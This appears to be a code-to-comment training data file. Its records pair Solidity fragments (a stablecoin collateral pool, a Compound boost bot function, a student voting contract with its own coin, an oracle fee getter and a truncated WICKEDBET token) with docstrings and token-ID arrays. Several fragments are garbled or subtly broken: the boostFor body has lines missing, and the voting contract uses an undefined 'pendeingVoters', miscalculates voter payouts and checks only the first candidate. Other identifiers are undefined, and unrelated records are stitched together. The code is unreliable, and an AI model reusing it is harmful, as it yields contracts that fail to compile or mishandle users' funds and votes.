_ecr, , ,) = ITreasury(treasury).info(); uint256 _desired_collat_e24 = _tcr * _share_total_supply; uint256 _effective_collat_e24 = _ecr * _share_total_supply; // Return 0 if already overcollateralized // Otherwise, return the deficiency if (_effective_collat_e24 >= _desired_collat_e24) return 0; else { return (_desired_collat_e24 - _effective_collat_e24) / COLLATERAL_RATIO_PRECISION; } } // Returns the value of IVORY available to be used for recollats // Also has throttling to avoid dumps during large price movements function recollatAvailableShare() public view returns (uint256) { uint256 _share_price = ITreasury(treasury).sharePrice(); // Get the amount of collateral theoretically available uint256 _recollat_theo_available_e18 = recollatTheoColAvailableE18(); // Get the amount of IVORY theoretically outputtable uint256 _share_theo_out = _recollat_theo_available_e18 * PRICE_PRECISION / _share_price; // See how much IVORY has been issued this hour uint256 current_hr_rct = rct_hourly_cum[curEpochHr()]; // Account for the throttling return comboCalcBbkRct(current_hr_rct, rct_max_share_out_per_hour, _share_theo_out); } // Returns the current epoch hour function curEpochHr() public view returns (uint256) { return (block.timestamp / 3600); // Truncation desired } /* ========== INTERNAL FUNCTIONS ========== */ function _transferCollateralToReserve(address _sender, uint256 _amount) internal { address _reserve = collateralReserve(); require(_reserve != address(0), "Invalid reserve address"); ERC20(collateral).safeTransferFrom(_sender, _reserve, _amount); } function _mintShareToCollateralReserve(uint256 _amount) internal { address _reserve = collateralReserve(); require(_reserve != address(0), "Invalid reserve address"); IShare(share).poolMint(_reserve, _amount); } function _requestTransferCollateral(address _receiver, uint256 _amount) internal { ITreasury(treasury).requestTransfer(collateral, _receiver, _amount); } function _requestTransferShare(address _receiver, uint256 _amount) internal { ITreasury(treasury).requestTransfer(share, _receiver, _amount); } function comboCalcBbkRct(uint256 _cur, uint256 _max, uint256 _theo) internal pure returns (uint256) { if (_max == 0) { // If the hourly limit is 0, it means there is no limit return _theo; } else if (_cur >= _max) { // If the hourly limit has already been reached, return 0; return 0; } else { // Get the available amount uint256 _available = _max - _cur; if (_theo >= _available) { // If the the theoretical is more than the available, return the available return _available; } else { // Otherwise, return the theoretical amount return _theo; } } } /* ========== RESTRICTED FUNCTIONS ========== */ function toggleMinting() external onlyOwner { mint_paused = !mint_paused; emit MintingToggled(); } function toggleRedeeming() external onlyOwner { redeem_paused = !redeem_paused; emit RedeemingToggled(); } function toggleRecollat() external onlyOwner { recollat_paused = !recollat_paused; emit RecollatToggled(); } function setOracle(address _oracle) external onlyOwner { require(_oracle != address(0), "Invalid address"); oracle = _oracle; emit OracleUpdated(oracle); } function setRedemptionDelay(uint256 _redemption_delay) external onlyOwner { redemption_delay = _redemption_delay; emit RedemptionDelayUpdate(redemption_delay); } function setTreasury(address _treasury) external onlyOwner { require(_treasury != address(0), "Invalid address"); treasury = _treasury; emit TreasuryChanged(_treasury); } function setBonusRate(uint256 _rate) external onlyOwner { bonus_rate = _rate; emit BonusRateChanged(bonus_rate); } function setMaxPerHour(uint256 _max) external onlyOwner { rct_max_share_out_per_hour = _max; emit MaxPerHourChanged(rct_max_share_out_per_hour); } function setPoolCeiling(uint256 _ceiling) external onlyOwner { pool_ceiling = _ceiling; emit PoolCeilingChanged(_ceiling); } // EVENTS event TreasuryChanged(address indexed newTreasury); event MintingToggled(); event RedeemingToggled(); event RecollatToggled(); event OracleUpdated(address indexed newOracle); event RedemptionDelayUpdate(uint redemptionDelay); event Recollateralized(uint256 col_amount, uint256 share_out); event BonusRateChanged(uint256 rate); event MaxPerHourChanged(uint256 max); event PoolCeilingChanged(uint256 ceiling); }
Total across all collaterals.
uint256 public pool_ceiling = 1000000001e6;
12,560,234
[ 1, 5269, 10279, 777, 4508, 2045, 1031, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 2845, 67, 311, 4973, 273, 2130, 9449, 21, 73, 26, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x90574634C09a4A4E6e2B7Ce2BbecE1A609751048/sources/browser/CompoundMonitor.sol
@notice Bots call this method to boost for user when conditions are met @dev If the contract ownes gas token it will try and use it for gas price reduction @param _data Amount and exchange data [amount, minPrice, exchangeType, gasCost, 0xPrice] @param _addrData cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] @param _callData 0x callData @param _user The actual address that owns the Compound position
function boostFor( bytes memory _callData, address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); _data[3] = calcGasCost(BOOST_GAS_COST); _user, compoundFlashLoanTakerAddress, abi.encodeWithSignature("boostWithLoan(uint256[5],address[3],bytes)", _data, _addrData, _callData)); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); returnEth(); logger.Log(address(this), _user, "AutomaticCompoundBoost", abi.encode(ratioBefore, ratioAfter)); }
2,963,052
[ 1, 6522, 87, 745, 333, 707, 358, 14994, 364, 729, 1347, 4636, 854, 5100, 225, 971, 326, 6835, 4953, 281, 16189, 1147, 518, 903, 775, 471, 999, 518, 364, 16189, 6205, 20176, 225, 389, 892, 16811, 471, 7829, 501, 306, 8949, 16, 1131, 5147, 16, 7829, 559, 16, 16189, 8018, 16, 374, 92, 5147, 65, 225, 389, 4793, 751, 276, 5157, 527, 455, 281, 471, 7829, 306, 71, 13535, 1887, 16, 276, 38, 15318, 1887, 16, 7829, 1887, 65, 225, 389, 1991, 751, 374, 92, 745, 751, 225, 389, 1355, 1021, 3214, 1758, 716, 29065, 326, 21327, 1754, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14994, 1290, 12, 203, 3639, 1731, 3778, 389, 1991, 751, 16, 203, 3639, 1758, 389, 1355, 203, 565, 262, 1071, 8843, 429, 1338, 31639, 18305, 27998, 12, 5315, 4005, 67, 43, 3033, 67, 8412, 13, 288, 203, 203, 3639, 261, 6430, 21956, 16, 2254, 7169, 4649, 13, 273, 848, 1477, 12, 1305, 18, 26653, 16, 389, 1355, 1769, 203, 203, 3639, 389, 892, 63, 23, 65, 273, 7029, 27998, 8018, 12, 5315, 4005, 67, 43, 3033, 67, 28343, 1769, 203, 203, 5411, 389, 1355, 16, 203, 5411, 11360, 11353, 1504, 304, 56, 6388, 1887, 16, 203, 5411, 24126, 18, 3015, 1190, 5374, 2932, 25018, 1190, 1504, 304, 12, 11890, 5034, 63, 25, 6487, 2867, 63, 23, 6487, 3890, 2225, 16, 203, 5411, 389, 892, 16, 389, 4793, 751, 16, 389, 1991, 751, 10019, 203, 203, 203, 3639, 261, 6430, 353, 18195, 8541, 16, 2254, 7169, 4436, 13, 273, 7169, 18195, 4436, 12, 1305, 18, 26653, 16, 389, 1355, 1769, 203, 203, 3639, 327, 41, 451, 5621, 203, 203, 3639, 1194, 18, 1343, 12, 2867, 12, 2211, 3631, 389, 1355, 16, 315, 7150, 4941, 16835, 26653, 3113, 24126, 18, 3015, 12, 9847, 4649, 16, 7169, 4436, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; contract Voting { /* The struct (Candidates) has the follwoing attributes: Internal id, candidat name, candidat agenda, candidat voting counter, candidate pictuer */ struct Candidate { uint id; string name; string agenda; uint counter; string candidatePictuer; address candidateAddress; } // The mapping (candidates) is between candidate id to the candidates attributes mapping(uint => Candidate) public candidates; // Some variables: uint public numberOfCandidates; // Counter for the number of candidates address public admin; uint public votingStartDate; // Voting start date uint public votingEndDate; // Voting end date uint public numberOfVoters; // Counter for the number of voters constructor () public { admin = msg.sender; votingStartDate = 0; votingEndDate = 1; } // The modifier (onlyAdmin) insure that only an admin can use the function modifier onlyAdmin { require( msg.sender == admin, "Only Admin can call this function.");_;} // The modifier (whileVoting) limits changes after voting started (such as adding a candidate or adding voters) modifier whileVoting { require(now < votingEndDate && now >= votingStartDate, "Voting has started.");_;} // The modifier (beforeVotingStarted) insuer that now is prior to voting start date modifier beforeVotingStarted { require( votingStartDate > now, "Voting has started, can bot add new candidates");_;} /* The function (addingCandidate) is limited for admin use only (with the help of th onlyAdmin modifier) and can be used only before voting starts (with the help of th beforeVotingStarted modifier), that is, adding a new candidate sholud take place only before voting starts */ function addingCandidate (string memory _name, string memory _agenda, string memory _picture, address _address) public onlyAdmin beforeVotingStarted { // Adding a new candidate to candidates mapping numberOfCandidates++; candidates[numberOfCandidates] = Candidate(numberOfCandidates, _name, _agenda, 0, _picture, _address); emit AddingCandidate(numberOfCandidates); } // The function (defineVotingDates) is limited for admin use only (with the help of th onlyAdmin modifier) function defineVotingDates (uint _startDate, uint _endDate) public onlyAdmin { require ( _endDate > _startDate && _startDate > now, "Dates are not valid"); require (votingStartDate == 0 && votingEndDate == 1, "Dates allready defined"); // Dates can be defined only once votingStartDate = _startDate; votingEndDate = _endDate; } /* The mapping (voters) is between the voter address and {0,1,2}. "0" stands for no voting rights "1" stands for the user has a voting & qestion rights that wasn't exercised "2" stands for the user has a voting but asked a quedstion "3" stands for the user has voted */ mapping(address => uint) public voters; /* The function (vote) can be used only while voting time period (with the help of th whileVoting modifier), it insure the user has voting rights and didn't use them allredy, and pay the voter after he votes. With the first require we insure that voter didn't vote in the past and has the right to vote. The seconde require insure that the candidate exites */ function vote (uint _candidateId) public whileVoting { require(voters[msg.sender] >= 1 && voters[msg.sender] <= 2, "You can not vote, you voted in the past, or you do not have the right to vote"); require(_candidateId > 0 && _candidateId <= numberOfCandidates, "This candidate doesn't exist"); candidates[_candidateId].counter ++; // Increase candidate counter voters[msg.sender] = 3; // Update users status emit VotingTookPlace(_candidateId); getPaid(msg.sender); // after coin is good } /* The function (addVoter) is limited for admin use only (with the help of th onlyAdmin modifier) and can be used only before voting starts (with the help of th beforeVotingStarted modifier), that is, adding a new voter sholud take place only before voting starts */ function addVoter (address _voter) public onlyAdmin beforeVotingStarted { voters[_voter] = 1; numberOfVoters++; emit AddVoter(_voter); } // The function (voterStatus) will return the voting status of the sender {0,1,2} function voterStatus () public view returns (uint status) { return (voters[msg.sender]); } /* The function (getPaid) will rewared any voter which is entitle, that is, either the voter voted or he asked a question were all candidates answered */ function getPaid (address _receiver) private { voterBalance[admin] = voterBalance[msg.sender] - votingCoinTotalSupply/numberOfVoters; voterBalance[_receiver] = votingCoinTotalSupply/(2*numberOfVoters); emit VoterGotPaidForVoting(_receiver); } /* The function (balanceOf) returns the number of tokens that a particular address, 
 in this case, the contract owner, has in their account. */ function balanceOf (address _coinOwner) public view returns (uint) { return voterBalance[_coinOwner]; } event VoterGotPaidForVoting (address indexed receiver); event VotingTookPlace (uint indexed candidateId); event AddingCandidate (uint indexed candidateId); event AddVoter (address indexed voter); //----------------------------------------------------------------------------------------------------------------------------// /* Bonus part: Questions from voters and answers candidates. In order to encourage vote, debate and contact with candidates we thought about a mechanism of questions and answersץ Each voter, after voting started, has the right to ask all candidates one question, if all candidates answered this questions (that is the question was relevent) the voter receives a reward (coin).*/ // The mapping is between question id to question struct mapping (uint => Question) public questionList; // The mapping is between questions and answers mapping (uint => mapping (address => string)) public answerList; /* The struct (Question) has the follwoing attributes: question, counter of answers, questioner address */ struct Question { string question; uint answerCounter; address questioner; } uint public numberOfQuestions; // Counter for the number of questions been asked /* The function (addQuestion) can be used only while voting time period (with the help of th whileVoting modifier), it insure that the voter has voting & question rights, saves the question and update the counter */ function addQuestion (string memory _question) public whileVoting { require(voters[msg.sender] == 1, "Question can't be asked"); // make sure he has voting & asking rights numberOfQuestions++; voters[msg.sender] = 2; // mark he asked a question questionList[numberOfQuestions] = Question(_question, 0, msg.sender); emit NewQuestion(numberOfQuestions); } /* The function (addAnswer) can be used only be used only by candidates (with the help of isCandidate function), insure that the candidate didn't answer in the past, updates the answers, and check if the questioner entitled to the reward */ function addAnswer (string memory _answer, uint _questionId) public { require(getStringLength(answerList[_questionId][msg.sender]) == 0); // make sure he didn't answered this question require(isCandidate(msg.sender)); // make sure he is a candidate answerList[_questionId][msg.sender] = _answer; // save answer of the candidate questionList[_questionId].answerCounter++; // increase by 1 the answer counter if (questionList[_questionId].answerCounter == numberOfCandidates) { // if answer counter == number of candidates => pay the voter getPaid(questionList[_questionId].questioner); } emit NewAnswer(_questionId, msg.sender); } function getStringLength (string memory _string) private pure returns(uint _length) { bytes memory helper = bytes(_string); return (helper.length); } function isCandidate (address _helper) private view returns(bool ok) { for (uint i = 1; i <= numberOfCandidates; i++) { if (candidates[i].candidateAddress == _helper) { return(true); } else { return(false); } } } event NewQuestion (uint indexed questionId); event NewAnswer (uint indexed questionId, address indexed candidateId); //--------------------------------------------------------------------------------------------------------------------------------// // Coin Part - TO be removed!!!!!!!!!!!!!! // Token name string public constant name = "VOTING_COIN"; // Token symbol string public constant symbol = "SYM"; // need to add!!!!!!!!!! /* Decimal (up to 18) A divisibility of 0 mean lowest value of the token is 1. divisibility of 2 means lowest value 0.01 uint8 public constant decimals = 18; */ //????????????????????????????? // Mapping (voterBalance) keys to token balances of a voter mapping(address => uint) public voterBalance; // Mapping (allowed) addresses of coin owners to those who are allowed to utilize the owner's coins mapping(address => mapping (address => uint)) allowed; //ERC20 total supply of coins uint public votingCoinTotalSupply = 6262019; /* The totalSupply function identifies the total number of ERC-20 tokens created */ function totalSupply () public view onlyAdmin returns (uint theTotalSupply) { theTotalSupply = votingCoinTotalSupply; return (theTotalSupply); } /* The function (approve) checkes the balance and after it has been checked, the contract owner can give their approval to the user to collect the required number of tokens from the contract’s address. Need to add to the limitions presention, once a user has allwoed someone some amount of coins, he can only change that allwoed amount and can't add. */ function approve (address _spender, uint _amount) public returns (bool success) { require( voterBalance[msg.sender] >= _amount, "Insufficient funds"); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return (true); } event Approval(address indexed coinOwner, address indexed spender, uint amount); /* The function (transferCoin) is used to move an amount of tokens from the owner’s balance to that of another user (receiver) */ function transferCoin (address _receiver, uint _amount) public returns (bool success) { // The purpose of the function is to enable transfer of funds from one user to another require(_amount <= voterBalance[msg.sender], "Insufficient funds, transfer faild"); // Insure that the sender has enough coins require(_amount > 0 , "You can't transfer non-postive coins, transfer faild"); voterBalance[msg.sender] -= _amount; // Update sender acount voterBalance[_receiver] += _amount; // Update receiver avount emit CoinsWereTransfer(msg.sender, _receiver, _amount); return (true); } /* The function (allowance) is used to check the amount (if any) was allwoed by a user (allocator) to a spender. */ function allowance (address _allocator, address _spender) private view returns (uint _amountAllowed) { return (allowed[_allocator][_spender]); } /* The function (transferFrom) allows the a user to transfer the allowed coins by the _allocator (if allwoed) and to transfer it to any other account. */ function transferFrom (address _allocator, uint _amount, address _receiver) public returns (bool success) { require(_amount <= voterBalance[_allocator], "Insufficient funds"); // insure the _allocator has the amount require(_amount > 0, "Can't transfer non-postive amount"); require(allowed[_allocator][msg.sender] >= _amount, "The allowance is not enough"); voterBalance[_allocator] -= _amount; voterBalance[_receiver] += _amount; emit CoinsWereTransfer(_allocator, _receiver, _amount); return (true); } event CoinsWereTransfer(address indexed sender, address indexed receiver, uint amount); /* voter can request from admin to get voting rights function for pending request mapping form a key (counter) to address insure he doesn't have voting rights function move from pendeing to voters */ mapping (uint => address) public pendingVoters; uint public numberOfPendingRequest; // make sure to initaliz with in constructor with function addNewPenddingRequest(address _requester) public { require(voters[_requester] == 0, "You have voitng rights"); numberOfPendingRequest++; pendeingVoters[numberOfPendingRequest] = _requester; emit newRequest(_requester); } event newRequest (address indexed _requesterAddress); function viewPendingRequest() public onlyAdmin beforeVotingStarted { } } /* Tasks for Tom: 3. Presention 3.1. add to the presention, after closing the smart contract with Daniel the following: 3.1.1. Structs 3.1.2. Mappings 3.1.3. Modifiers 3.1.4. Functions 3.1.5. State Variables 3.1.6. Events 3.2. Add Installation instructions - after we are done 3.3. Add demonstration video - after we are done 3.4. Add known bugs - after we are done 5. read about how truffle works with respect to migrations */
Mapping (voterBalance) keys to token balances of a voter
mapping(address => uint) public voterBalance;
12,802,831
[ 1, 3233, 261, 90, 20005, 13937, 13, 1311, 358, 1147, 324, 26488, 434, 279, 331, 20005, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 6770, 12, 2867, 516, 2254, 13, 1071, 331, 20005, 13937, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/77/0x37A3f02721939C7357779A7E1Bd91f1be61203b5/sources/contracts/LP.sol
* @notice Get current oracle fee where `multiplier` equals 100% of bettor winnings./
function getOracleFee() external view override returns (uint128 fee) { return oracleFee; }
5,046,595
[ 1, 967, 783, 20865, 14036, 1625, 1375, 20538, 68, 1606, 2130, 9, 434, 2701, 13039, 5657, 82, 899, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 17971, 16873, 14667, 1435, 3903, 1476, 3849, 1135, 261, 11890, 10392, 14036, 13, 288, 203, 3639, 327, 20865, 14667, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xA9049425b938C46ac3E312D4CdaEccb26282AeB2/sources/WICKEDBET.sol
All fees are in basis points (100 = 1%)Event Logs
contract WICKEDBET is IERC20, Ownable { address private WETH; string private constant _name = "Wicked Bet"; string private constant _symbol = "WIK"; uint8 private constant _decimals = 18; uint256 _totalSupply = 1 * 10**8 * (10 ** _decimals); mapping (address => uint256) private _balances; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; address DEAD = 0x000000000000000000000000000000000000dEaD; uint[3] taxesCollected = [0, 0]; uint256 public launchedAt; address public liquidityPool = DEAD; uint256 private buyWik = 300; uint256 private sellWik = 300; uint256 private buyLP = 200; uint256 private sellLP = 200; uint256 private xferBurn = 50; uint256 _baseBuyFee = buyWik + buyLP; uint256 _baseSellFee = sellWik + sellLP; IDEXRouter public router; address public pair; address public factory; address public wickedWallet = payable(0x000000000000000000000000000000000000dEaD); bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public tradingOpen = false; event LiquidityPoolUpdated(address indexed _newPool); event WickedWalletUpdated(address indexed _newWallet); event RouterUpdated(IDEXRouter indexed _newRouter); event BuyFeesUpdated(uint256 _newWik, uint256 _newLp); event SellFeesUpdated(uint256 _neWik, uint256 _newLp); event FeeExemptionChanged(address indexed _exemptWallet, bool _exempt); event SwapbackSettingsChanged(bool _enabled, uint256 _newSwapbackAmount); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[owner()] = true; isFeeExempt[wickedWallet] = true; isFeeExempt[address(this)] = true; _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } receive() external payable { } function launchSequence() external onlyOwner { require(launchedAt == 0, "Already launched"); launchedAt = block.number; tradingOpen = true; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply - balanceOf(DEAD) - balanceOf(ZERO); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner(); } function balanceOf(address account) public view override returns 